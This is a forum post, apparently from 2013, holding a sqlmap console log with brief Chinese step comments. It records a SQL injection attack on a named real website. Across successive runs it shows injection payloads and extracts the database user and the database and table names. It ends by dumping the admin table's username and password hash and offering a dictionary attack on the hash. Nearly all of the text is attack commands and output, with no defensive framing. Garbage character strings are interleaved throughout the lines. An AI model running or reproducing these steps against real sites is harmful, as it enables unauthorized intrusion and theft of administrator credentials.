D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
( J7 v! N) J4 d* M( Lms "Mysql" --current-user /* 注解：获取当前用户名称; \& T% B* N0 j, \" P( A! a
sqlmap/0.9 - automatic SQL injection and database takeover tool) G0 E3 F i( {/ q4 o/ A
http://sqlmap.sourceforge.net starting at: 16:53:547 x+ r8 u/ E+ R, D
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as+ @! i3 J6 p6 R4 k) A9 z
session file
' [0 P0 ?; q& X9 V, b& V# Y* p[16:53:54] [INFO] resuming injection data from session file r) l9 `) H2 W2 Y: g
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file/ e: W. k/ h) [ E" x! }0 Q5 D
[16:53:54] [INFO] testing connection to the target url
: `, ~9 U% L ?( ^& c @0 c; d' I9 ]sqlmap identified the following injection points with a total of 0 HTTP(s) reque7 O, R) G) c% n- P0 h: q2 T
sts:3 U) Y+ R; I. `% \2 n
---
4 l( b2 `) C# XPlace: GET! I6 _" A( T5 O7 U6 C
Parameter: id
8 W6 R& ^8 h P8 O1 G Type: boolean-based blind) S0 W( v" d9 M d1 `
Title: AND boolean-based blind - WHERE or HAVING clause1 I: m B* E: c: k8 Y
Payload: id=276 AND 799=799
. \3 f3 D- p; |( S3 }0 F- P Type: error-based
( A0 R7 C1 a* ~( f8 m0 | Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
$ ]' i, h) L. [8 ]0 O7 L; x Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
% J2 M: e% z; [1 |, [. @, V120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
1 ^: j# V7 ?/ B),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
5 U: G7 y' w, I Type: UNION query) N8 [" e# \' D6 e- p: m7 s% p
Title: MySQL UNION query (NULL) - 1 to 10 columns
9 N0 b# x: k& \. f. C Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR O+ |$ u9 P& n) Q x5 C; Q
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
6 A8 e) b/ G' p& {& Z3 T2 R6 oCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
3 b% r0 M+ B) n Type: AND/OR time-based blind
3 E! ]3 Q$ v# _2 ` Title: MySQL > 5.0.11 AND time-based blind
3 k! d n4 d0 E" i2 z% ? Payload: id=276 AND SLEEP(5)
2 Q6 M1 o6 B/ h1 N/ ~6 z* x1 }) m---2 t1 p0 |+ X, E: t, x
[16:53:55] [INFO] the back-end DBMS is MySQL* R# o [1 n7 {! ~
web server operating system: Windows$ k! L' C: ^2 C2 \. B
web application technology: Apache 2.2.11, PHP 5.3.0
* q; g3 W% t- M0 tback-end DBMS: MySQL 5.0, P. w0 A, s; Y- J+ t& R
[16:53:55] [INFO] fetching current user" c) v/ {0 v! B
current user: 'root@localhost'
1 s0 h+ i; s, e( I[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou; c7 u- Q/ T1 B* Q; M) m+ S
tput\www.wepost.com.hk' shutting down at: 16:53:58% ~% ~4 W2 L4 _, B- r
. \: V7 r( d# s( \( P/ U
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db9 X, M% H) ^4 j1 |8 t8 f& k
ms "Mysql" --current-db /*当前数据库, X4 q1 J5 {8 O$ q/ n+ ?. r4 i
sqlmap/0.9 - automatic SQL injection and database takeover tool; I# `* d# W1 q9 f
http://sqlmap.sourceforge.net starting at: 16:54:16
. g4 l: L: d h3 T9 h; m; p" B$ C[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as' v# T! o/ Z# @$ a& x+ f
session file) }1 r$ o6 A: s# _, R* U
[16:54:16] [INFO] resuming injection data from session file% ^/ C- e/ t$ ^% a0 j( x/ p9 ~/ K
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file0 r/ x$ D: g* }# r
[16:54:16] [INFO] testing connection to the target url
1 O) p8 G7 g4 H) Q+ F) @9 \; Msqlmap identified the following injection points with a total of 0 HTTP(s) reque/ o) r* Z7 N2 Q4 K
sts:! C; m5 a7 d, G" B5 H* }7 a: O
---% R2 y+ P: j3 W, M& G% G Q$ ]" s
Place: GET
' p$ t* `' t4 M8 [- Z' L& oParameter: id1 x! X* x$ j, @1 L9 ^ ~3 e
Type: boolean-based blind
* f) V" \. g2 ?. j. ^ Title: AND boolean-based blind - WHERE or HAVING clause, Z$ f6 Z, Z n7 I) b9 @5 u
Payload: id=276 AND 799=799! K U. M/ E2 o& i) B B$ S7 Z
Type: error-based) Z4 O+ q% F* j" O
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause) b8 E+ r r3 g+ h
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,2 C' S. J. | w2 H* ]% t
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,583 U! Z' Y6 V, I/ x
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
4 N; I4 g# h! r& \ Type: UNION query
8 O9 }% l* j# U. V Title: MySQL UNION query (NULL) - 1 to 10 columns
6 H6 T% L5 f( V Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
) N. ]7 P) G! \5 A/ S! ?(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),% Z1 I) }1 ?- {2 y r: Y( u
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
+ P: P! [& y8 C# t- |) w1 s' b Type: AND/OR time-based blind
: ]7 p4 p0 Q# w6 f2 t Title: MySQL > 5.0.11 AND time-based blind- F9 W4 i* [5 K6 I. a1 L0 e
Payload: id=276 AND SLEEP(5)
, _$ S+ U6 c- s; T- _---3 f" t" b8 h. ^5 y, C/ |' ?$ Z
[16:54:17] [INFO] the back-end DBMS is MySQL1 S& E, z3 F# z, B9 f9 @* n
web server operating system: Windows
& h9 ]: q: m: b2 `8 s8 O9 sweb application technology: Apache 2.2.11, PHP 5.3.0- e( B: I" W+ P1 o5 r! R
back-end DBMS: MySQL 5.09 z/ W4 k$ Q) n/ y
[16:54:17] [INFO] fetching current database
& [* _- j4 i$ w6 dcurrent database: 'wepost', e r9 F! J: d- o
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou) x2 U5 {1 z; m
tput\www.wepost.com.hk' shutting down at: 16:54:18
. Q; H. h) c& X- D9 z; k1 Q( DD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
- G8 n8 d$ t# a- Mms "Mysql" --tables -D "wepost" /*获取当前数据库的表名! l5 |, R/ I3 L" i2 _- A, C
sqlmap/0.9 - automatic SQL injection and database takeover tool
' V; M- ?0 ]# [* A2 f http://sqlmap.sourceforge.net starting at: 16:55:250 e. c" X E. ~
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
8 I! E& ~. V& h6 g8 d+ z5 k session file- i# ^, M# f7 E V: A" F o; M0 w( e
[16:55:25] [INFO] resuming injection data from session file2 L9 d& Y5 b, T" K/ y6 ]
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
1 P/ n! f( S' e' Q9 s[16:55:25] [INFO] testing connection to the target url2 ]8 b' ?6 b- a( L% ^& r
sqlmap identified the following injection points with a total of 0 HTTP(s) reque3 c% L" {! j9 o! r/ `
sts:
3 K( q6 }" O' P1 v8 q1 V/ R% n---
, E# D$ r& b( t% q o) n5 APlace: GET
9 _% L7 n3 Q: I& G9 Q- lParameter: id
( o6 m2 K8 y; d Type: boolean-based blind
8 q, O6 k/ j P/ b# w0 o. Q Title: AND boolean-based blind - WHERE or HAVING clause; R3 F0 k: v. V& f e* S
Payload: id=276 AND 799=799
! U$ b, W0 \" F- v Type: error-based
4 ?: V: H( H$ H ?/ V Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
6 Y1 R$ S1 ?- K! } g/ M Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,$ |0 E& ?/ A- B( j
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58& `& L2 V5 K7 _! _/ \7 V9 G* O0 J
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
/ O4 Z8 Z+ W- k& v/ j# v5 a Type: UNION query
$ H$ d# o$ [: m6 Z0 H- X% s( J Title: MySQL UNION query (NULL) - 1 to 10 columns6 L% i4 {# U7 i- [
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR' V5 b, v0 e( L9 d( J2 F& K5 { O
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
2 Z l- d# l$ i: L+ c# S( D) Y. qCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#2 `. |, x+ ]( U
Type: AND/OR time-based blind
& n* m9 t' H7 |# K Title: MySQL > 5.0.11 AND time-based blind2 Y# l( U0 U5 h, F$ @* e8 b
Payload: id=276 AND SLEEP(5)
1 y& g0 _% _( A: ?3 X& B---$ Z5 J8 y) c! n
[16:55:26] [INFO] the back-end DBMS is MySQL
4 D% N, E. d. f1 V, v: j R5 @web server operating system: Windows
( i. d m. V; E+ {7 l5 I( S- f9 o* K! Sweb application technology: Apache 2.2.11, PHP 5.3.0, g# i; ~5 v: M1 w
back-end DBMS: MySQL 5.0: y5 T, f4 A& ~0 S8 W& [* \ X( s( }
[16:55:26] [INFO] fetching tables for database 'wepost'
( G- J3 J! M! j; Y1 i[16:55:27] [INFO] the SQL query used returns 6 entries
5 j" S, n; W( u. yDatabase: wepost/ g9 Z2 ~! @4 [1 r
[6 tables]- Q/ L6 t1 ]: P R
+-------------+
+ a2 M8 Q) G" Y' ~( M6 ^| admin |. }5 k2 g: l+ G; Y
| article |/ ]( ~) Q0 u# K/ \
| contributor |
! ~: M* Y3 \6 ^7 |4 ]| idea |
0 _) b R: t6 F; v& n; J| image |
; { u X$ c: p4 y( k/ ^ J5 w" u8 w| issue |
- K6 f6 w% ^- p$ m( e9 S+-------------+
. F8 [# b1 N0 z( ]! i[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
, y8 A+ X9 x2 }' N7 F' Mtput\www.wepost.com.hk' shutting down at: 16:55:33
6 [' c* R: E( ?) X% ^
, g3 h6 ]9 V1 qD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
& g2 @% B V: l) }ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名/ W* I% o# [# E: k2 e
sqlmap/0.9 - automatic SQL injection and database takeover tool
2 `$ t7 _3 Q: h2 }# ~# E# [% E" r http://sqlmap.sourceforge.net starting at: 16:56:06
+ ~- w6 U: Z/ N/ l! `sqlmap identified the following injection points with a total of 0 HTTP(s) reque( Z$ y' v# ?+ [: s: s
sts:+ d! @1 P, E2 n6 Z! i
---. w/ I. F: @4 T4 V) J5 N6 M
Place: GET
) n% A) ]/ V+ c( {. f0 p* GParameter: id2 o0 N3 ~. |, d, f, a* A8 `
Type: boolean-based blind
8 a A2 {' l7 F# Y! _5 f" q. E Title: AND boolean-based blind - WHERE or HAVING clause
0 y& u& i. M9 `5 V' y, V3 ]2 M Payload: id=276 AND 799=799
$ l7 @9 Z% t& E' x Type: error-based
* H7 D l5 e% [ J/ d# g* d Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause% g! ?$ \% H0 G8 l
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,. d! K6 `7 E8 j: g0 Q0 m' ^; D
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
7 D. @) Y" u; l& D),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)& X L9 Y; O3 z8 w! H) X1 M+ [$ u
Type: UNION query
; q* ^! ^, @4 @8 | Title: MySQL UNION query (NULL) - 1 to 10 columns, `/ L2 Y. f5 _) K- A# q; n4 _
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR8 o9 N% I5 B a# s0 d; p7 H E
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
W4 h4 }4 e. m+ C3 V6 fCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
w" S% ]0 d+ Z5 K8 X8 ^# R Type: AND/OR time-based blind
( [4 W: B' a+ n ?5 \6 z Title: MySQL > 5.0.11 AND time-based blind
" v7 M9 ?, ^* z Payload: id=276 AND SLEEP(5)2 t3 ` I% }: x4 L1 o, ?( Q, S
---
[+ X. D$ W* B- g# }web server operating system: Windows
- [+ K8 Z3 k2 E7 xweb application technology: Apache 2.2.11, PHP 5.3.0' p. u! o& L* C5 \5 `3 v7 c
back-end DBMS: MySQL 5.0
8 {; C, e5 f& O' v2 ?[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
8 U! N3 S" _' f9 B5 ussion': wepost, wepost
, I( L4 L3 B6 q. Q) bDatabase: wepost
3 P" V7 E5 u( S6 j- t4 a8 l6 ~Table: admin* m5 t1 C: B9 ?# s& F0 U$ h' w$ n
[4 columns]
5 T/ c+ a! e" A0 a8 }6 {+----------+-------------+
6 r' X" W: ]; B| Column | Type |
5 \( @2 f: b: r9 b2 D D+----------+-------------+
8 }2 d1 |2 Q4 P$ F2 ?. F) D0 R| id | int(11) |# p3 Y# Z3 ?5 k/ @2 f, b
| password | varchar(32) |
( X4 A( b: g. I4 l- m| type | varchar(10) |
- a3 J% ]! B0 A, z7 M| userid | varchar(20) |* D! J) n% E/ r, \% Y/ s
+----------+-------------+
$ i" \8 z0 e+ v% x shutting down at: 16:56:198 D2 i0 O0 {' X9 }2 k9 h7 w
, i7 k# y! G/ L6 g6 nD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db s4 w- ]+ y- |! ?6 f
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容
/ R4 F6 L0 d7 e% e1 s! ^ sqlmap/0.9 - automatic SQL injection and database takeover tool* ]) ~* d4 c' I6 z
http://sqlmap.sourceforge.net starting at: 16:57:14
9 c5 O) B Z! e# \9 h9 msqlmap identified the following injection points with a total of 0 HTTP(s) reque+ t+ B4 O& B- k/ q" L
sts:
8 g) D. c9 [- I4 \4 i) r---+ _1 h! }9 c2 w- G$ Y5 e* K
Place: GET
' S, ]$ v' @( G3 q" }Parameter: id
# M# e0 i* t( C! V. w- b, k' Z Type: boolean-based blind
6 v2 V: k' P" d% l( @9 o4 ^ Title: AND boolean-based blind - WHERE or HAVING clause5 a7 K. f' U2 y3 v! L) @
Payload: id=276 AND 799=799
5 ~3 U- |# y8 d% B Type: error-based
, r0 Q0 F3 s* L/ D2 R0 [9 w( ^% J( N Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause1 j. `% K7 g, I- H( \
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,) |. T2 |1 N$ `8 ]4 x$ i* W
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58) A0 N. a( l2 S+ {- b" D
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
% _$ x: I5 D- o: l. I+ h Type: UNION query: y* A+ S5 c; q1 a$ }8 ?
Title: MySQL UNION query (NULL) - 1 to 10 columns% D0 h" U) l- x, m
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
- F- D" a% ]. S% }' L8 x: ]) _8 q(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
" @ \( v' K8 z; f0 aCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL# s1 V% ?; k \1 F% g
Type: AND/OR time-based blind
' D% v, }$ _" e8 B' q9 Z" q Title: MySQL > 5.0.11 AND time-based blind
7 l/ k/ h& I! C2 ~ Y! O Payload: id=276 AND SLEEP(5)
5 Q& u Y! k1 T2 B5 y---
9 n; G4 g: G Y& L# |- cweb server operating system: Windows
3 Y8 k* m1 K0 ?. u$ }web application technology: Apache 2.2.11, PHP 5.3.0
, L; w# T2 a+ r' T/ gback-end DBMS: MySQL 5.0' C3 M0 z6 _! ^$ p
recognized possible password hash values. do you want to use dictionary attack o
# a( J: Y- N5 Bn retrieved table items? [Y/n/q] y7 E$ ?9 }: w, s0 S- n. ^" \3 J
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]4 E( M$ k4 q& ]! B
do you want to use common password suffixes? (slow!) [y/N] y
' i e, P' d! m' T3 Y/ F5 U* ~" eDatabase: wepost, ?4 r; t, x, o& W
Table: admin
/ w8 {6 S8 P, @ | O, u[1 entry]
g3 X- d/ |. y5 Z+----------------------------------+------------+" l% v8 l' [7 x/ c0 q+ g
| password | userid |* ?5 u' `0 h% `: B$ O' ?
+----------------------------------+------------+" J8 t# ?+ G, b, s' X
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |% e* H% C7 M, x7 ^2 y, @7 x, {; h; d% j
+----------------------------------+------------+ Y4 u3 X4 Z( m/ B5 _9 r
shutting down at: 16:58:14
. \5 k/ N* u1 w" ]& f( B; p+ w) N/ h% x, I! ]3 y. A
D:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对